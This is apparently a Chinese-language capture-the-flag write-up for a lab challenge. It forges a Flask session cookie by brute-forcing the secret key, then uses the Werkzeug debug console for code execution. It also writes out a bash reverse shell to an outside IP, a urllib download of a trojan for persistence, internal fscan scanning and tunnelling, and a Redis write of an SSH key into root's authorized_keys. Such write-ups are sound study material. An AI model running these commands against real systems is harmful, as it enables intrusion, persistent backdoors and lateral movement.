0%

Flask sission伪造

Flask sission伪造

eyJwb3dlciI6Imd1ZXN0IiwidXNlciI6ImEifQ.ZPCs8A.zy4YgL-lcI8PRWd2BzUSZbpByLw

第一部分我们称它为头部(header),第二部分我们称其为载荷(payload,类似于飞机上承载的物品),第三部分是签证(signature),是一段base64编码,解码后

{“power”:”guest”,”user”:”a”}.ZPCs8A.zy4YgL-lcI8PRWd2BzUSZbpByLw

image.pngimport 模块名:这种方式引入模块时,使用模块内的函数,需要使用模块.函数名的方式来调用函数

os.urandom()方法是用来生成一个大小为随机字节的字符串

os就是提供了一些方便使用操作系统相关功能的函数。

python中的os库提供了非常丰富的方法用来处理文件和目录。

我们需要的是破解加密的密钥

1
2
3
4
5
6
7
8
9
10
11
12
import itertools

charset = "0123456789abcdef"

# 生成所有可能的密码组合
passwords = [''.join(p) for p in itertools.product(charset, repeat=4)]

# 将密码组合写入字典文件
with open("dictionary.txt", "w") as file:
for password in passwords:
file.write("This-random-secretKey-you-can't-get"+password + "\n")

python脚本爆破出所有可能的密码,生成字典

flask-unsign --unsign --cookie eyJwb3dlciI6Imd1ZXN0IiwidXNlciI6Imtpbm8ifQ.ZPGgKg.nlKIs-0-Ae6pywqN0NRxYFCquvs --wordlist dictionary.txt,wordlist就是指定我们的字典,后面跟的是字典的路径

eyJwb3dlciI6Imd1ZXN0IiwidXNlciI6Imtpbm8ifQ.ZPGgKg.nlKIs-0-Ae6pywqN0NRxYFCquvs

得出key是这个:This-random-secretKey-you-can't-getcfdb

接着我们利用脚本flask-session-cookie-manager和已知的密钥伪造session

python3 flask_session_cookie_manager3.py encode -s "This-random-secretKey-you-can't-get6bbc" -t "{'power': 'admin', 'user': 'kino'}"

得到关键信息

image.png

  1. Console(控制台): 控制台是计算机上的一个命令行界面,允许用户与操作系统或应用程序进行交互。通过控制台,用户可以输入命令并查看程序的输出结果。控制台可以用于调试和运行命令行程序。
  2. Flask: Flask是一个用Python编写的轻量级Web应用框架。它提供了一组工具和库,使开发Web应用变得更加简单和快速。Flask基于Werkzeug和Jinja2库,它使用Python的装饰器语法来定义路由和视图函数。

所以我们可以根据提示进入默认内置的console执行代码,pin码我感觉就是一个通行的密码,输入之后就进入到控制台

image.png

我们就可以在这里进行简单的rce得到flag的第一给部分moectf{Information-leakage-Is-dangerous!

image.png

image.png

image.png

另一种方法,反弹shell

os.popen('bash -c "bash -i >& /dev/tcp/114.116.119.253/2333 0>&1"').read()

反弹shell的命令

1
2
3
bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1
或bash -c "bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1"
# bash -i >& /dev/tcp/攻击机IP/攻击机端口 0>&1

image.png

拿到控制权

image.png

1
2
3
4
5
6
7
8
9
10
11
cat /readme
恭喜你通过外网渗透拿下了本台服务器的权限
接下来,你需要尝试内网渗透,本服务器的/app/tools目录下内置了fscan
你需要了解它的基本用法,然后扫描内网的ip段
如果你进行了正确的操作,会得到类似下面的结果
10.1.11.11:22 open
10.1.23.21:8080 open
10.1.23.23:9000 open
将你得到的若干个端口号从小到大排序并以 - 分割,这一串即为hint.zip压缩包的密码(本例中,密码为:22-8080-9000
注意:请忽略掉xx.xx.xx.1,例如扫出三个ip 192.168.0.1 192.168.0.2 192.168.0.3 ,请忽略掉有关192.168.0.1的所有结果!此为出题人服务器上的其它正常服务
对密码有疑问随时咨询出题人

fscan 是一个内网综合扫描工具,方便一键自动化、全方位漏洞扫描。

搭建C2平台,

image.png

进行权限维持

利用urllib模块远程下载木马文件到目标机上

image.png

urllib.request.urlretrieve('http://114.116.119.253:4444/moectf','/tmp/moectf')

image.png

成功上传木马文件

image.png

设置文件权限为可执行

1
2
3
4
5
6
7
8
9
chmod +x 文件名

任何用户均可运行此程序:

chmod a+x 文件名

撤销可运行权限:

chmod -x 文件名

image.png

image.png

主要起到权限维持的作用

之后需要扫描内网段,获取密码

image.png

22-3306-6379-8080

1
2
3
4
5
6
7
8
9
10
11
当你看到此部分,证明你正确的进行了fscan的操作得到了正确的结果
可以看到,在本内网下还有另外两台服务器
其中一台开启了22(ssh)和6379(redis)端口
另一台开启了3306(mysql)端口
还有一台正是你访问到的留言板服务
接下来,你可能需要搭建代理,从而使你的本机能直接访问到内网的服务器
此处可了解`nps`和`frp`,同样在/app/tools已内置了相应文件
连接代理,推荐`proxychains`
对于mysql服务器,你需要找到其账号密码并成功连接,在数据库中找到flag2
对于redis服务器,你可以学习其相关的渗透技巧,从而获取到redis的权限,并进一步寻找其getshell的方式,最终得到flag3

隧道搭建,进入内网

MySQL

image.png

image.png

172.20.0.2

image.png

flag2:-Are-YOu-myS0L-MasT3r?-

redis

image.png

规则如sql,将应用名用引号包裹

redis写私钥进行ssh连接

生成私钥对

1
ssh-keygen -t rsa    # 生成公钥和私钥

image.png

id_rsa表示私钥 id_rsa.pub是公钥

私钥是我们登录用的

写公钥到目标/root/.ssh/authorized_keys

1
2
3
4
set x "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCOOosQXe7z00WG9CW46SHDzzbNmkr0JLyd9fc540xDjKtBdimWrq+/4aDhvU5TrLX/smDEDvL2cNQgCHMCADDLvcaRTqm+j/m0lc4lENDVEVxlfpXzF1vy62X3/KX+yfUg07aJQbZYTmFqbgfPiTZpoeJCRYFq7ifkLMT+DO1PKw0QKwjLBcHPADe5tJpiyCMrWhHNvIICyxs9Q37QFNVrKOxglI4ikispgOEqoVGpDgz4Mn2IhXzMAwA8ZYAjDikSKQ6CugPJwLyY7x3sBnx/wthrHXv1Z3i5VWGvuXzXzT1Dyql4WDKK4PoVA3zEeWULKE98YPkP8dTyrejhnBLgCmSTYzEcaJbHL3kr9NY2mbMlzY0sj4R64m7RHAQe+OgBnqTp0RYkMzEKdyMfQormAxcDuZSOjwtmA1fPKuAghRERJn9VItEPTN/Qx7HaVirl7CALEfRKQRR4CqMEJvjgQrsWgkcBcrJk1QgfmSYzdj1YcCE+qz9aer6jdyvSSiU=\n"
config set dir /root/.ssh
config set dbfilename authorized_keys
save

image.pngimage.png

1
2
3
4
5
Congratulations!!!
You beat this moeworld~
You need to protect your redis, even if it's on the intranet.
This is the third part of the flag
P@sSW0Rd-F0r-redis-Is-NeceSsary}

VSHELL木马生成

image.png


来源: https://www.yuque.com/guansuanbangzhuangganjun/oxmbxg/yr581p08nepcm8pw
语雀文档ID: 137977046